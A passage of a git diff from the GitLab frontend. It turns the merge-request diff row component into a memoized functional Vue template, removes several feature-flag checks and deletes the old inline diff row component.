@@ -106,10 +106,7 @@ export default {
};
const getDiffLines = () => {
if (this.diffViewType === PARALLEL_DIFF_VIEW_TYPE) {
- return this.diffLines(this.diffFile, this.glFeatures.unifiedDiffComponents).reduce(
- combineSides,
- [],
- );
+ return this.diffLines(this.diffFile).reduce(combineSides, []);
}
return this.diffFile[INLINE_DIFF_LINES_KEY];
diff --git a/app/assets/javascripts/diffs/components/diff_row.vue b/app/assets/javascripts/diffs/components/diff_row.vue
index 37dd7941b2e..c310bd9f31a 100644
--- a/app/assets/javascripts/diffs/components/diff_row.vue
+++ b/app/assets/javascripts/diffs/components/diff_row.vue
@@ -1,13 +1,9 @@
<script>
/* eslint-disable vue/no-v-html */
-import { GlTooltipDirective } from '@gitlab/ui';
-import { mapActions, mapGetters, mapState } from 'vuex';
-import { BV_HIDE_TOOLTIP } from '~/lib/utils/constants';
-import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
+import { memoize } from 'lodash';
+import { isLoggedIn } from '~/lib/utils/common_utils';
import {
- CONTEXT_LINE_CLASS_NAME,
PARALLEL_DIFF_VIEW_TYPE,
- CONFLICT_MARKER_OUR,
CONFLICT_MARKER_THEIR,
CONFLICT_OUR,
CONFLICT_THEIR,
@@ -22,15 +18,8 @@ import DiffGutterAvatars from './diff_gutter_avatars.vue';
import * as utils from './diff_row_utils';
export default {
- components: {
- DiffGutterAvatars,
- CodeQualityGutterIcon: () =>
- import('ee_component/diffs/components/code_quality_gutter_icon.vue'),
- },
- directives: {
- GlTooltip: GlTooltipDirective,
- },
- mixins: [glFeatureFlagsMixin()],
+ DiffGutterAvatars,
+ CodeQualityGutterIcon: () => import('ee_component/diffs/components/code_quality_gutter_icon.vue'),
props: {
fileHash: {
type: String,
@@ -58,148 +47,109 @@ export default {
type: Number,
required: true,
},
+ isHighlighted: {
+ type: Boolean,
+ required: true,
+ },
+ fileLineCoverage: {
+ type: Function,
+ required: true,
+ },
},
- data() {
- return {
- dragging: false,
- };
- },
- computed: {
- ...mapGetters('diffs', ['fileLineCoverage']),
- ...mapGetters(['isLoggedIn']),
- ...mapState({
- isHighlighted(state) {
- const line = this.line.left?.line_code ? this.line.left : this.line.right;
- return utils.isHighlighted(state, line, false);
- },
- }),
- classNameMap() {
+ classNameMap: memoize(
+ (props) => {
return {
- [CONTEXT_LINE_CLASS_NAME]: this.line.isContextLineLeft,
- [PARALLEL_DIFF_VIEW_TYPE]: !this.inline,
- commented: this.isCommented,
+ [PARALLEL_DIFF_VIEW_TYPE]: !props.inline,
+ commented: props.isCommented,
};
},
- parallelViewLeftLineType() {
- return utils.parallelViewLeftLineType(this.line, this.isHighlighted || this.isCommented);
+ (props) => [!props.inline, props.isCommented].join(':'),
+ ),
+ parallelViewLeftLineType: memoize(
+ (props) => {
+ return utils.parallelViewLeftLineType(props.line, props.isHighlighted || props.isCommented);
},
- coverageStateLeft() {
- if (!this.inline || !this.line.left) return {};
- return this.fileLineCoverage(this.filePath, this.line.left.new_line);
+ (props) =>
+ [props.line.left?.type, props.line.right?.type, props.isHighlighted, props.isCommented].join(
+ ':',
+ ),
+ ),
+ coverageStateLeft: memoize(
+ (props) => {
+ if (!props.inline || !props.line.left) return {};
+ return props.fileLineCoverage(props.filePath, props.line.left.new_line);
},
- coverageStateRight() {
- if (!this.line.right) return {};
- return this.fileLineCoverage(this.filePath, this.line.right.new_line);
+ (props) => [props.inline, props.filePath, props.line.left?.new_line].join(':'),
+ ),
+ coverageStateRight: memoize(
+ (props) => {
+ if (!props.line.right) return {};
+ return props.fileLineCoverage(props.filePath, props.line.right.new_line);
},
- showCodequalityLeft() {
- return (
- this.glFeatures.codequalityMrDiffAnnotations &&
- this.inline &&
- this.line.left?.codequality?.length > 0
- );
+ (props) => [props.line.right?.new_line, props.filePath].join(':'),
+ ),
+ showCodequalityLeft: memoize(
+ (props) => {
+ return props.inline && props.line.left?.codequality?.length > 0;
},
- showCodequalityRight() {
- return (
- this.glFeatures.codequalityMrDiffAnnotations &&
- !this.inline &&
- this.line.right?.codequality?.length > 0
- );
+ (props) => [props.inline, props.line.left?.codequality?.length].join(':'),
+ ),
+ showCodequalityRight: memoize(
+ (props) => {
+ return !props.inline && props.line.right?.codequality?.length > 0;
},
- classNameMapCellLeft() {
+ (props) => [props.inline, props.line.right?.codequality?.length].join(':'),
+ ),
+ classNameMapCellLeft: memoize(
+ (props) => {
return utils.classNameMapCell({
- line: this.line.left,
- hll: this.isHighlighted || this.isCommented,
- isLoggedIn: this.isLoggedIn,
+ line: props.line.left,
+ hll: props.isHighlighted || props.isCommented,
});
},
- classNameMapCellRight() {
+ (props) => [props.line.left.type, props.isHighlighted, props.isCommented].join(':'),
+ ),
+ classNameMapCellRight: memoize(
+ (props) => {
return utils.classNameMapCell({
- line: this.line.right,
- hll: this.isHighlighted || this.isCommented,
- isLoggedIn: this.isLoggedIn,
+ line: props.line.right,
+ hll: props.isHighlighted || props.isCommented,
});
},
- addCommentTooltipLeft() {
- return utils.addCommentTooltip(this.line.left, this.glFeatures.dragCommentSelection);
- },
- addCommentTooltipRight() {
- return utils.addCommentTooltip(this.line.right, this.glFeatures.dragCommentSelection);
+ (props) => [props.line.right.type, props.isHighlighted, props.isCommented].join(':'),
+ ),
+ shouldRenderCommentButton: memoize(
+ (props) => {
+ return isLoggedIn() && !props.line.isContextLineLeft && !props.line.isMetaLineLeft;
},
- emptyCellRightClassMap() {
- return { conflict_their: this.line.left?.type === CONFLICT_OUR };
- },
- emptyCellLeftClassMap() {
- return { conflict_our: this.line.right?.type === CONFLICT_THEIR };
- },
- shouldRenderCommentButton() {
- return this.isLoggedIn && !this.line.isContextLineLeft && !this.line.isMetaLineLeft;
- },
- isLeftConflictMarker() {
- return [CONFLICT_MARKER_OUR, CONFLICT_MARKER_THEIR].includes(this.line.left?.type);
- },
- interopLeftAttributes() {
- if (this.inline) {
- return getInteropInlineAttributes(this.line.left);
- }
+ (props) => [props.line.isContextLineLeft, props.line.isMetaLineLeft].join(':'),
+ ),
+ interopLeftAttributes(props) {
+ if (props.inline) {
+ return getInteropInlineAttributes(props.line.left);
+ }
- return getInteropOldSideAttributes(this.line.left);
- },
- interopRightAttributes() {
- return getInteropNewSideAttributes(this.line.right);
- },
+ return getInteropOldSideAttributes(props.line.left);
},
- mounted() {
- this.scrollToLineIfNeededParallel(this.line);
+ interopRightAttributes(props) {
+ return getInteropNewSideAttributes(props.line.right);
},
- methods: {
- ...mapActions('diffs', [
- 'scrollToLineIfNeededParallel',
- 'showCommentForm',
- 'setHighlightedRow',
- 'toggleLineDiscussions',
- ]),
- // Prevent text selecting on both sides of parallel diff view
- // Backport of the same code from legacy diff notes.
- handleParallelLineMouseDown(e) {
- const line = e.currentTarget;
- const table = line.closest('.diff-table');
-
- table.classList.remove('left-side-selected', 'right-side-selected');
- const [lineClass] = ['left-side', 'right-side'].filter((name) =>
- line.classList.contains(name),
- );
-
- if (lineClass) {
- table.classList.add(`${lineClass}-selected`);
- }
- },
- handleCommentButton(line) {
- this.showCommentForm({ lineCode: line.line_code, fileHash: this.fileHash });
- },
- conflictText(line) {
- return line.type === CONFLICT_MARKER_THEIR
- ? this.$options.THEIR_CHANGES
- : this.$options.OUR_CHANGES;
- },
- onDragEnd() {
- this.dragging = false;
- if (!this.glFeatures.dragCommentSelection) return;
-
- this.$emit('stopdragging');
+ conflictText: memoize(
+ (line) => {
+ return line.type === CONFLICT_MARKER_THEIR ? 'HEAD//our changes' : 'origin//their changes';
},
- onDragEnter(line, index) {
- if (!this.glFeatures.dragCommentSelection) return;
+ (line) => line.type,
+ ),
+ lineContent: memoize(
+ (line) => {
+ if (line.isConflictMarker) {
+ return line.type === CONFLICT_MARKER_THEIR ? 'HEAD//our changes' : 'origin//their changes';
+ }
- this.$emit('enterdragging', { ...line, index });
- },
- onDragStart(line) {
- this.$root.$emit(BV_HIDE_TOOLTIP);
- this.dragging = true;
- this.$emit('startdragging', line);
+ return line.rich_text;
},
- },
- OUR_CHANGES: 'HEAD//our changes',
- THEIR_CHANGES: 'origin//their changes',
+ (line) => line.line_code,
+ ),
CONFLICT_MARKER,
CONFLICT_MARKER_THEIR,
CONFLICT_OUR,
@@ -207,250 +157,256 @@ export default {
};
</script>
-<template>
- <div :class="classNameMap" class="diff-grid-row diff-tr line_holder">
+<!-- eslint-disable-next-line vue/no-deprecated-functional-template -->
+<template functional>
+ <div :class="$options.classNameMap(props)" class="diff-grid-row diff-tr line_holder">
<div
+ :id="props.line.left && props.line.left.line_code"
data-testid="left-side"
class="diff-grid-left left-side"
- v-bind="interopLeftAttributes"
+ v-bind="$options.interopLeftAttributes(props)"
@dragover.prevent
- @dragenter="onDragEnter(line.left, index)"
- @dragend="onDragEnd"
+ @dragenter="listeners.enterdragging({ ...props.line.left, index: props.index })"
+ @dragend="listeners.stopdragging"
>
- <template v-if="line.left && line.left.type !== $options.CONFLICT_MARKER">
+ <template v-if="props.line.left && props.line.left.type !== $options.CONFLICT_MARKER">
<div
- :class="classNameMapCellLeft"
+ :class="$options.classNameMapCellLeft(props)"
data-testid="left-line-number"
class="diff-td diff-line-num"
data-qa-selector="new_diff_line_link"
>
- <template v-if="!isLeftConflictMarker">
- <span
- v-if="shouldRenderCommentButton && !line.hasDiscussionsLeft"
- v-gl-tooltip
- class="add-diff-note tooltip-wrapper"
- :title="addCommentTooltipLeft"
- >
- <div
- data-testid="left-comment-button"
- role="button"
- tabindex="0"
- :draggable="!line.left.commentsDisabled && glFeatures.dragCommentSelection"
- type="button"
- class="add-diff-note unified-diff-components-diff-note-button note-button js-add-diff-note-button"
- data-qa-selector="diff_comment_button"
- :class="{ 'gl-cursor-grab': dragging }"
- :disabled="line.left.commentsDisabled"
- :aria-disabled="line.left.commentsDisabled"
- @click="!line.left.commentsDisabled && handleCommentButton(line.left)"
- @keydown.enter="!line.left.commentsDisabled && handleCommentButton(line.left)"
- @keydown.space="!line.left.commentsDisabled && handleCommentButton(line.left)"
- @dragstart="!line.left.commentsDisabled && onDragStart({ ...line.left, index })"
- ></div>
- </span>
- </template>
+ <span
+ v-if="
+ !props.line.left.isConflictMarker &&
+ $options.shouldRenderCommentButton(props) &&
+ !props.line.hasDiscussionsLeft
+ "
+ class="add-diff-note tooltip-wrapper has-tooltip"
+ :title="props.line.left.addCommentTooltip"
+ >
+ <div
+ data-testid="left-comment-button"
+ role="button"
+ tabindex="0"
+ :draggable="!props.line.left.commentsDisabled"
+ type="button"
+ class="add-diff-note unified-diff-components-diff-note-button note-button js-add-diff-note-button"
+ data-qa-selector="diff_comment_button"
+ :disabled="props.line.left.commentsDisabled"
+ :aria-disabled="props.line.left.commentsDisabled"
+ @click="
+ !props.line.left.commentsDisabled &&
+ listeners.showCommentForm(props.line.left.line_code)
+ "
+ @keydown.enter="
+ !props.line.left.commentsDisabled &&
+ listeners.showCommentForm(props.line.left.line_code)
+ "
+ @keydown.space="
+ !props.line.left.commentsDisabled &&
+ listeners.showCommentForm(props.line.left.line_code)
+ "
+ @dragstart="
+ !props.line.left.commentsDisabled &&
+ listeners.startdragging({
+ event: $event,
+ line: { ...props.line.left, index: props.index },
+ })
+ "
+ ></div>
+ </span>
<a
- v-if="line.left.old_line && line.left.type !== $options.CONFLICT_THEIR"
- :data-linenumber="line.left.old_line"
- :href="line.lineHrefOld"
- @click="setHighlightedRow(line.lineCode)"
+ v-if="props.line.left.old_line && props.line.left.type !== $options.CONFLICT_THEIR"
+ :data-linenumber="props.line.left.old_line"
+ :href="props.line.lineHrefOld"
+ @click="listeners.setHighlightedRow(props.line.lineCode)"
>
</a>
- <diff-gutter-avatars
- v-if="line.hasDiscussionsLeft"
- :discussions="line.left.discussions"
- :discussions-expanded="line.left.discussionsExpanded"
+ <component
+ :is="$options.DiffGutterAvatars"
+ v-if="props.line.hasDiscussionsLeft"
+ :discussions="props.line.left.discussions"
+ :discussions-expanded="props.line.left.discussionsExpanded"
data-testid="left-discussions"
@toggleLineDiscussions="
- toggleLineDiscussions({
- lineCode: line.left.line_code,
- fileHash,
- expanded: !line.left.discussionsExpanded,
+ listeners.toggleLineDiscussions({
+ lineCode: props.line.left.line_code,
+ expanded: !props.line.left.discussionsExpanded,
})
"
/>
</div>
- <div v-if="inline" :class="classNameMapCellLeft" class="diff-td diff-line-num">
+ <div
+ v-if="props.inline"
+ :class="$options.classNameMapCellLeft(props)"
+ class="diff-td diff-line-num"
+ >
<a
- v-if="line.left.new_line && line.left.type !== $options.CONFLICT_OUR"
- :data-linenumber="line.left.new_line"
- :href="line.lineHrefOld"
- @click="setHighlightedRow(line.lineCode)"
+ v-if="props.line.left.new_line && props.line.left.type !== $options.CONFLICT_OUR"
+ :data-linenumber="props.line.left.new_line"
+ :href="props.line.lineHrefOld"
+ @click="listeners.setHighlightedRow(props.line.lineCode)"
>
</a>
</div>
<div
- v-gl-tooltip.hover
- :title="coverageStateLeft.text"
- :class="[...parallelViewLeftLineType, coverageStateLeft.class]"
- class="diff-td line-coverage left-side"
+ :title="$options.coverageStateLeft(props).text"
+ :class="[
+ $options.parallelViewLeftLineType(props),
+ $options.coverageStateLeft(props).class,
+ ]"
+ class="diff-td line-coverage left-side has-tooltip"
></div>
- <div class="diff-td line-codequality left-side" :class="[...parallelViewLeftLineType]">
- <code-quality-gutter-icon
- v-if="showCodequalityLeft"
- :file-path="filePath"
- :codequality="line.left.codequality"
+ <div
+ class="diff-td line-codequality left-side"
+ :class="$options.parallelViewLeftLineType(props)"
+ >
+ <component
+ :is="$options.CodeQualityGutterIcon"
+ v-if="$options.showCodequalityLeft(props)"
+ :codequality="props.line.left.codequality"
+ :file-path="props.filePath"
/>
</div>
<div
- :id="line.left.line_code"
- :key="line.left.line_code"
- :class="[parallelViewLeftLineType, { parallel: !inline }]"
+ :key="props.line.left.line_code"
+ :class="[
+ $options.parallelViewLeftLineType(props),
+ { parallel: !props.inline, 'gl-font-weight-bold': props.line.left.isConflictMarker },
+ ]"
class="diff-td line_content with-coverage left-side"
data-testid="left-content"
- @mousedown="handleParallelLineMouseDown"
- >
- <strong v-if="isLeftConflictMarker">{{ conflictText(line.left) }}</strong>
- <span v-else v-html="line.left.rich_text"></span>
- </div>
+ v-html="$options.lineContent(props.line.left)"
+ ></div>
</template>
- <template v-else-if="!inline || (line.left && line.left.type === $options.CONFLICT_MARKER)">
- <div
- data-testid="left-empty-cell"
- class="diff-td diff-line-num old_line empty-cell"
- :class="emptyCellLeftClassMap"
- >
+ <template
+ v-else-if="
+ !props.inline || (props.line.left && props.line.left.type === $options.CONFLICT_MARKER)
+ "
+ >
+ <div data-testid="left-empty-cell" class="diff-td diff-line-num old_line empty-cell">
&nbsp;
</div>
- <div
- v-if="inline"
- class="diff-td diff-line-num old_line empty-cell"
- :class="emptyCellLeftClassMap"
- ></div>
- <div
- class="diff-td line-coverage left-side empty-cell"
- :class="emptyCellLeftClassMap"
- ></div>
- <div
- v-if="inline"
- class="diff-td line-codequality left-side empty-cell"
- :class="emptyCellLeftClassMap"
- ></div>
+ <div v-if="props.inline" class="diff-td diff-line-num old_line empty-cell"></div>
+ <div class="diff-td line-coverage left-side empty-cell"></div>
+ <div v-if="props.inline" class="diff-td line-codequality left-side empty-cell"></div>
<div
class="diff-td line_content with-coverage left-side empty-cell"
- :class="[emptyCellLeftClassMap, { parallel: !inline }]"
+ :class="[{ parallel: !props.inline }]"
></div>
</template>
</div>
<div
- v-if="!inline"
+ v-if="!props.inline"
+ :id="props.line.right && props.line.right.line_code"
data-testid="right-side"
class="diff-grid-right right-side"
- v-bind="interopRightAttributes"
+ v-bind="$options.interopRightAttributes(props)"
@dragover.prevent
- @dragenter="onDragEnter(line.right, index)"
- @dragend="onDragEnd"
+ @dragenter="listeners.enterdragging({ ...props.line.right, index: props.index })"
+ @dragend="listeners.stopdragging"
>
- <template v-if="line.right">
- <div :class="classNameMapCellRight" class="diff-td diff-line-num new_line">
- <template v-if="line.right.type !== $options.CONFLICT_MARKER_THEIR">
+ <template v-if="props.line.right">
+ <div :class="$options.classNameMapCellRight(props)" class="diff-td diff-line-num new_line">
+ <template v-if="props.line.right.type !== $options.CONFLICT_MARKER_THEIR">
<span
- v-if="shouldRenderCommentButton && !line.hasDiscussionsRight"
- v-gl-tooltip
- class="add-diff-note tooltip-wrapper"
- :title="addCommentTooltipRight"
+ v-if="$options.shouldRenderCommentButton(props) && !props.line.hasDiscussionsRight"
+ class="add-diff-note tooltip-wrapper has-tooltip"
+ :title="props.line.right.addCommentTooltip"
>
<div
data-testid="right-comment-button"
role="button"
tabindex="0"
- :draggable="!line.right.commentsDisabled && glFeatures.dragCommentSelection"
+ :draggable="!props.line.right.commentsDisabled"
type="button"
class="add-diff-note unified-diff-components-diff-note-button note-button js-add-diff-note-button"
- :class="{ 'gl-cursor-grab': dragging }"
- :disabled="line.right.commentsDisabled"
- :aria-disabled="line.right.commentsDisabled"
- @click="!line.right.commentsDisabled && handleCommentButton(line.right)"
- @keydown.enter="!line.right.commentsDisabled && handleCommentButton(line.right)"
- @keydown.space="!line.right.commentsDisabled && handleCommentButton(line.right)"
- @dragstart="!line.right.commentsDisabled && onDragStart({ ...line.right, index })"
+ :disabled="props.line.right.commentsDisabled"
+ :aria-disabled="props.line.right.commentsDisabled"
+ @click="
+ !props.line.right.commentsDisabled &&
+ listeners.showCommentForm(props.line.right.line_code)
+ "
+ @keydown.enter="
+ !props.line.right.commentsDisabled &&
+ listeners.showCommentForm(props.line.right.line_code)
+ "
+ @keydown.space="
+ !props.line.right.commentsDisabled &&
+ listeners.showCommentForm(props.line.right.line_code)
+ "
+ @dragstart="
+ !props.line.right.commentsDisabled &&
+ listeners.startdragging({
+ event: $event,
+ line: { ...props.line.right, index: props.index },
+ })
+ "
></div>
</span>
</template>
<a
- v-if="line.right.new_line"
- :data-linenumber="line.right.new_line"
- :href="line.lineHrefNew"
- @click="setHighlightedRow(line.lineCode)"
+ v-if="props.line.right.new_line"
+ :data-linenumber="props.line.right.new_line"
+ :href="props.line.lineHrefNew"
+ @click="listeners.setHighlightedRow(props.line.lineCode)"
>
</a>
- <diff-gutter-avatars
- v-if="line.hasDiscussionsRight"
- :discussions="line.right.discussions"
- :discussions-expanded="line.right.discussionsExpanded"
+ <component
+ :is="$options.DiffGutterAvatars"
+ v-if="props.line.hasDiscussionsRight"
+ :discussions="props.line.right.discussions"
+ :discussions-expanded="props.line.right.discussionsExpanded"
data-testid="right-discussions"
@toggleLineDiscussions="
- toggleLineDiscussions({
- lineCode: line.right.line_code,
- fileHash,
- expanded: !line.right.discussionsExpanded,
+ listeners.toggleLineDiscussions({
+ lineCode: props.line.right.line_code,
+ expanded: !props.line.right.discussionsExpanded,
})
"
/>
</div>
<div
- v-gl-tooltip.hover
- :title="coverageStateRight.text"
+ :title="$options.coverageStateRight(props).text"
:class="[
- line.right.type,
- coverageStateRight.class,
- { hll: isHighlighted, hll: isCommented },
+ props.line.right.type,
+ $options.coverageStateRight(props).class,
+ { hll: props.isHighlighted, hll: props.isCommented },
]"
- class="diff-td line-coverage right-side"
+ class="diff-td line-coverage right-side has-tooltip"
></div>
<div
class="diff-td line-codequality right-side"
- :class="[line.right.type, { hll: isHighlighted, hll: isCommented }]"
+ :class="[props.line.right.type, { hll: props.isHighlighted, hll: props.isCommented }]"
>
- <code-quality-gutter-icon
- v-if="showCodequalityRight"
- :file-path="filePath"
- :codequality="line.right.codequality"
+ <component
+ :is="$options.CodeQualityGutterIcon"
+ v-if="$options.showCodequalityRight(props)"
+ :codequality="props.line.right.codequality"
+ :file-path="props.filePath"
+ data-testid="codeQualityIcon"
/>
</div>
<div
- :id="line.right.line_code"
- :key="line.right.rich_text"
+ :key="props.line.right.rich_text"
:class="[
- line.right.type,
+ props.line.right.type,
{
- hll: isHighlighted,
- hll: isCommented,
- parallel: !inline,
+ hll: props.isHighlighted,
+ hll: props.isCommented,
+ 'gl-font-weight-bold': props.line.right.type === $options.CONFLICT_MARKER_THEIR,
},
]"
- class="diff-td line_content with-coverage right-side"
- @mousedown="handleParallelLineMouseDown"
- >
- <strong v-if="line.right.type === $options.CONFLICT_MARKER_THEIR">{{
- conflictText(line.right)
- }}</strong>
- <span v-else v-html="line.right.rich_text"></span>
- </div>
+ class="diff-td line_content with-coverage right-side parallel"
+ v-html="$options.lineContent(props.line.right)"
+ ></div>
</template>
<template v-else>
- <div
- data-testid="right-empty-cell"
- class="diff-td diff-line-num old_line empty-cell"
- :class="emptyCellRightClassMap"
- ></div>
- <div
- v-if="inline"
- class="diff-td diff-line-num old_line empty-cell"
- :class="emptyCellRightClassMap"
- ></div>
- <div
- class="diff-td line-coverage right-side empty-cell"
- :class="emptyCellRightClassMap"
- ></div>
- <div
- class="diff-td line-codequality right-side empty-cell"
- :class="emptyCellRightClassMap"
- ></div>
- <div
- class="diff-td line_content with-coverage right-side empty-cell"
- :class="[emptyCellRightClassMap, { parallel: !inline }]"
- ></div>
+ <div data-testid="right-empty-cell" class="diff-td diff-line-num old_line empty-cell"></div>
+ <div class="diff-td line-coverage right-side empty-cell"></div>
+ <div class="diff-td line-codequality right-side empty-cell"></div>
+ <div class="diff-td line_content with-coverage right-side empty-cell parallel"></div>
</template>
</div>
</div>
diff --git a/app/assets/javascripts/diffs/components/diff_row_utils.js b/app/assets/javascripts/diffs/components/diff_row_utils.js
index cd45474afcd..99999445c43 100644
--- a/app/assets/javascripts/diffs/components/diff_row_utils.js
+++ b/app/assets/javascripts/diffs/components/diff_row_utils.js
@@ -6,13 +6,17 @@ import {
OLD_NO_NEW_LINE_TYPE,
NEW_NO_NEW_LINE_TYPE,
EMPTY_CELL_TYPE,
+ CONFLICT_MARKER_OUR,
+ CONFLICT_MARKER_THEIR,
+ CONFLICT_THEIR,
+ CONFLICT_OUR,
} from '../constants';
-export const isHighlighted = (state, line, isCommented) => {
+export const isHighlighted = (highlightedRow, line, isCommented) => {
if (isCommented) return true;
const lineCode = line?.line_code;
- return lineCode ? lineCode === state.diffs.highlightedRow : false;
+ return lineCode ? lineCode === highlightedRow : false;
};
export const isContextLine = (type) => type === CONTEXT_LINE_TYPE;
@@ -50,13 +54,11 @@ export const classNameMapCell = ({ line, hll, isLoggedIn, isHover }) => {
];
};
-export const addCommentTooltip = (line, dragCommentSelectionEnabled = false) => {
+export const addCommentTooltip = (line) => {
let tooltip;
if (!line) return tooltip;
- tooltip = dragCommentSelectionEnabled
- ? __('Add a comment to this line or drag for multiple lines')
- : __('Add a comment to this line');
+ tooltip = __('Add a comment to this line or drag for multiple lines');
const brokenSymlinks = line.commentsDisabled;
if (brokenSymlinks) {
@@ -107,6 +109,10 @@ export const mapParallel = (content) => (line) => {
hasDraft: content.hasParallelDraftLeft(content.diffFile.file_hash, line),
lineDraft: content.draftForLine(content.diffFile.file_hash, line, 'left'),
hasCommentForm: left.hasForm,
+ isConflictMarker:
+ line.left.type === CONFLICT_MARKER_OUR || line.left.type === CONFLICT_MARKER_THEIR,
+ emptyCellClassMap: { conflict_our: line.right?.type === CONFLICT_THEIR },
+ addCommentTooltip: addCommentTooltip(line.left),
};
}
if (right) {
@@ -116,6 +122,8 @@ export const mapParallel = (content) => (line) => {
hasDraft: content.hasParallelDraftRight(content.diffFile.file_hash, line),
lineDraft: content.draftForLine(content.diffFile.file_hash, line, 'right'),
hasCommentForm: Boolean(right.hasForm && right.type),
+ emptyCellClassMap: { conflict_their: line.left?.type === CONFLICT_OUR },
+ addCommentTooltip: addCommentTooltip(line.right),
};
}
@@ -139,24 +147,3 @@ export const mapParallel = (content) => (line) => {
commentRowClasses: hasDiscussions(left) || hasDiscussions(right) ? '' : 'js-temp-notes-holder',
};
};
-
-// TODO: Delete this function when unifiedDiffComponents FF is removed
-export const mapInline = (content) => (line) => {
- // Discussions/Comments
- const renderCommentRow = line.hasForm || (line.discussions?.length && line.discussionsExpanded);
-
- return {
- ...line,
- renderDiscussion: Boolean(line.discussions?.length),
- isMatchLine: isMatchLine(line.type),
- commentRowClasses: line.discussions?.length ? '' : 'js-temp-notes-holder',
- renderCommentRow,
- hasDraft: content.shouldRenderDraftRow(content.diffFile.file_hash, line),
- hasCommentForm: line.hasForm,
- isMetaLine: isMetaLine(line.type),
- isContextLine: isContextLine(line.type),
- hasDiscussions: hasDiscussions(line),
- lineHref: lineHref(line),
- lineCode: lineCode(line),
- };
-};
diff --git a/app/assets/javascripts/diffs/components/diff_view.vue b/app/assets/javascripts/diffs/components/diff_view.vue
index a2a6ebaeedf..5cf242b4ddd 100644
--- a/app/assets/javascripts/diffs/components/diff_view.vue
+++ b/app/assets/javascripts/diffs/components/diff_view.vue
@@ -1,12 +1,15 @@
<script>
import { mapGetters, mapState, mapActions } from 'vuex';
+import { IdState } from 'vendor/vue-virtual-scroller';
import DraftNote from '~/batch_comments/components/draft_note.vue';
import draftCommentsMixin from '~/diffs/mixins/draft_comments';
import { getCommentedLines } from '~/notes/components/multiline_comment_utils';
+import { hide } from '~/tooltips';
import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import DiffCommentCell from './diff_comment_cell.vue';
import DiffExpansionCell from './diff_expansion_cell.vue';
import DiffRow from './diff_row.vue';
+import { isHighlighted } from './diff_row_utils';
export default {
components: {
@@ -15,7 +18,11 @@ export default {
DiffCommentCell,
DraftNote,
},
- mixins: [draftCommentsMixin, glFeatureFlagsMixin()],
+ mixins: [
+ draftCommentsMixin,
+ glFeatureFlagsMixin(),
+ IdState({ idProp: (vm) => vm.diffFile.file_hash }),
+ ],
props: {
diffFile: {
type: Object,
@@ -36,15 +43,15 @@ export default {
default: false,
},
},
- data() {
+ idState() {
return {
dragStart: null,
updatedLineRange: null,
};
},
computed: {
- ...mapGetters('diffs', ['commitId']),
- ...mapState('diffs', ['codequalityDiff']),
+ ...mapGetters('diffs', ['commitId', 'fileLineCoverage']),
+ ...mapState('diffs', ['codequalityDiff', 'highlightedRow']),
...mapState({
selectedCommentPosition: ({ notes }) => notes.selectedCommentPosition,
selectedCommentPositionHover: ({ notes }) => notes.selectedCommentPositionHover,
@@ -59,45 +66,65 @@ export default {
);
},
hasCodequalityChanges() {
- return (
- this.glFeatures.codequalityMrDiffAnnotations &&
- this.codequalityDiff?.files?.[this.diffFile.file_path]?.length > 0
- );
+ return this.codequalityDiff?.files?.[this.diffFile.file_path]?.length > 0;
},
},
methods: {
...mapActions(['setSelectedCommentPosition']),
- ...mapActions('diffs', ['showCommentForm']),
+ ...mapActions('diffs', ['showCommentForm', 'setHighlightedRow', 'toggleLineDiscussions']),
showCommentLeft(line) {
return line.left && !line.right;
},
showCommentRight(line) {
return line.right && !line.left;
},
- onStartDragging(line) {
- this.dragStart = line;
+ onStartDragging({ event = {}, line }) {
+ if (event.target?.parentNode) {
+ hide(event.target.parentNode);
+ }
+ this.idState.dragStart = line;
},
onDragOver(line) {
- if (line.chunk !== this.dragStart.chunk) return;
+ if (line.chunk !== this.idState.dragStart.chunk) return;
- let start = this.dragStart;
+ let start = this.idState.dragStart;
let end = line;
- if (this.dragStart.index >= line.index) {
+ if (this.idState.dragStart.index >= line.index) {
start = line;
- end = this.dragStart;
+ end = this.idState.dragStart;
}
- this.updatedLineRange = { start, end };
+ this.idState.updatedLineRange = { start, end };
- this.setSelectedCommentPosition(this.updatedLineRange);
+ this.setSelectedCommentPosition(this.idState.updatedLineRange);
},
onStopDragging() {
this.showCommentForm({
- lineCode: this.updatedLineRange?.end?.line_code,
+ lineCode: this.idState.updatedLineRange?.end?.line_code,
fileHash: this.diffFile.file_hash,
});
- this.dragStart = null;
+ this.idState.dragStart = null;
+ },
+ isHighlighted(line) {
+ return isHighlighted(
+ this.highlightedRow,
+ line.left?.line_code ? line.left : line.right,
+ false,
+ );
+ },
+ handleParallelLineMouseDown(e) {
+ const line = e.target.closest('.diff-td');
+ const table = line.closest('.diff-table');
+
+ table.classList.remove('left-side-selected', 'right-side-selected');
+ const [lineClass] = ['left-side', 'right-side'].filter((name) =>
+ line.classList.contains(name),
+ );
+
+ if (lineClass) {
+ table.classList.add(`${lineClass}-selected`);
+ }
},
},
userColorScheme: window.gon.user_color_scheme,
@@ -109,6 +136,7 @@ export default {
:class="[$options.userColorScheme, { inline, 'with-codequality': hasCodequalityChanges }]"
:data-commit-id="commitId"
class="diff-grid diff-table code diff-wrap-lines js-syntax-highlight text-file"
+ @mousedown="handleParallelLineMouseDown"
>
<template v-for="(line, index) in diffLines">
<div
@@ -136,6 +164,14 @@ export default {
:is-commented="index >= commentedLines.startLine && index <= commentedLines.endLine"
:inline="inline"
:index="index"
+ :is-highlighted="isHighlighted(line)"
+ :file-line-coverage="fileLineCoverage"
+ @showCommentForm="(lineCode) => showCommentForm({ lineCode, fileHash: diffFile.file_hash })"
+ @setHighlightedRow="setHighlightedRow"
+ @toggleLineDiscussions="
+ ({ lineCode, expanded }) =>
+ toggleLineDiscussions({ lineCode, fileHash: diffFile.file_hash, expanded })
+ "
@enterdragging="onDragOver"
@startdragging="onStartDragging"
@stopdragging="onStopDragging"
diff --git a/app/assets/javascripts/diffs/components/inline_diff_table_row.vue b/app/assets/javascripts/diffs/components/inline_diff_table_row.vue
deleted file mode 100644
index f903fef72b7..00000000000
--- a/app/assets/javascripts/diffs/components/inline_diff_table_row.vue
+++ /dev/null
@@ -1,204 +0,0 @@
-<script>
-import { GlTooltipDirective, GlIcon, GlSafeHtmlDirective as SafeHtml } from '@gitlab/ui';
-import { mapActions, mapGetters, mapState } from 'vuex';
-import { CONTEXT_LINE_CLASS_NAME } from '../constants';
-import { getInteropInlineAttributes } from '../utils/interoperability';
-import DiffGutterAvatars from './diff_gutter_avatars.vue';
-import {
- isHighlighted,
- shouldShowCommentButton,
- shouldRenderCommentButton,
- classNameMapCell,
